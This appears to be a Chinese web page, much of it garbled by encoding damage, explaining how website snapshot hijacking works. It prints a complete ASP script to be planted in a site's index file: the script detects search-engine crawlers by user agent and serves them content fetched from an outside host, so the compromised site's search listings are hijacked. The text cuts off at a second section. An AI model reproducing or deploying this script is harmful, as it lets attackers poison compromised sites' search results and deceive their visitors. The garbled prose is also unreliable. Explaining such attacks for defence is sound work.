��վ����ٳ֣���վ���սٳ֣�����դ�ٳ���β��������-凯发k8国际平台

010-56250565
 
��վ����ٳ֣���վ���սٳ֣�����դ�ٳ���β��������
2014-6-10�������2111�ρ���դ��������վ����

ǰ���쿴������������վ����ٳ֣���վ���սٳ֣�����դ�ٳ�����ô�����ġ������������ѷ���ʾ���˽⣬�ҽ���������ҷ���һ����վ�ٳ�����ô�����ģ���η�����


1.��վ���սٳ�

��̬ҳ����ҳͨ����php����asp,aspx�ļ�������жθ��룬�ж������֩����ʾ��޸ı������ݣ��ڱ�������д����ϵ��ʽ�ͷƿ������ϣ���������֩����ʾͳ����޸ġ�

��̬ҳ����ҳ����������������ɾ�����.html�ļ������inde.php��php��д�������������䣬�����֩��ͷ����޸��˱������ҳ���ݣ����ǿͷ����������ݡ�

���սٳֱƚ����ᣬ�������޸��˽ٳ֣��ٶ��ϻ��ǻ���ʾ�ܳ�һ��ʱ��ķƿ�������ϣ��

�������£�

<%

function getbot()

'��ѯ֩��

dim s_agent

getbot=""

s_agent=request.servervariables("http_user_agent") '�ؼ��ж����

if instr(1,s_agent,"googlebot",1) >0 then

getbot="google"

end if

if instr(1,s_agent,"msnbot",1) >0 then

getbot="msn"

end if

if instr(1,s_agent,"slurp",1) >0 then

getbot="yahoo"

end if

if instr(1,s_agent,"baiduspider",1) >0 then

getbot="baidu"

end if

if instr(1,s_agent,"sohu-search",1) >0 then

getbot="sohu"

end if

if instr(1,s_agent,"lycos",1) >0 then

getbot="lycos"

end if

if instr(1,s_agent,"robozilla",1) >0 then

getbot="robozilla"

end if

end function

function gethttppage(path)

t = getbody(path)

gethttppage=bytestobstr(t,"gb2312")'����

end function

function newstring(wstr,strng)

newstring=instr(lcase(wstr),lcase(strng))

if newstring<=0 then newstring=len(wstr)

end function

function getbody(url)

on error resume next

set retrieval = createobject("microsoft.xmlhttp")

with retrieval

.open "get", url, false, "", ""

.send

getbody = .responsebody

end with

set retrieval = nothing

end function

function bytestobstr(body,cset)

dim objstream

set objstream = server.createobject("adodb.stream")

objstream.type = 1

objstream.mode =3

objstream.open

objstream.write body

objstream.position = 0

objstream.type = 2

objstream.charset = cset

bytestobstr = objstream.readtext

objstream.close

set objstream = nothing

end function

dim wstr,str,url,start,over,dtime

if getbot="baidu" then

'���ٶ�֩�붨�ƶ�����

url="http://baidu.seowhy.com"

'��ҫչʾ��֩���ҳ���ַ

wstr=gethttppage(url)

body=wstr

response.write ""&body&""

response.end

elseif getbot="google" then

'��google ֩�붨�ƶ�����

url="http://baidu.seowhy.com"

wstr=gethttppage(url)

body=wstr

response.write ""&body&""

response.end

end if


2.�������������ٳ�

���ֽٳֱȿ��սٳּ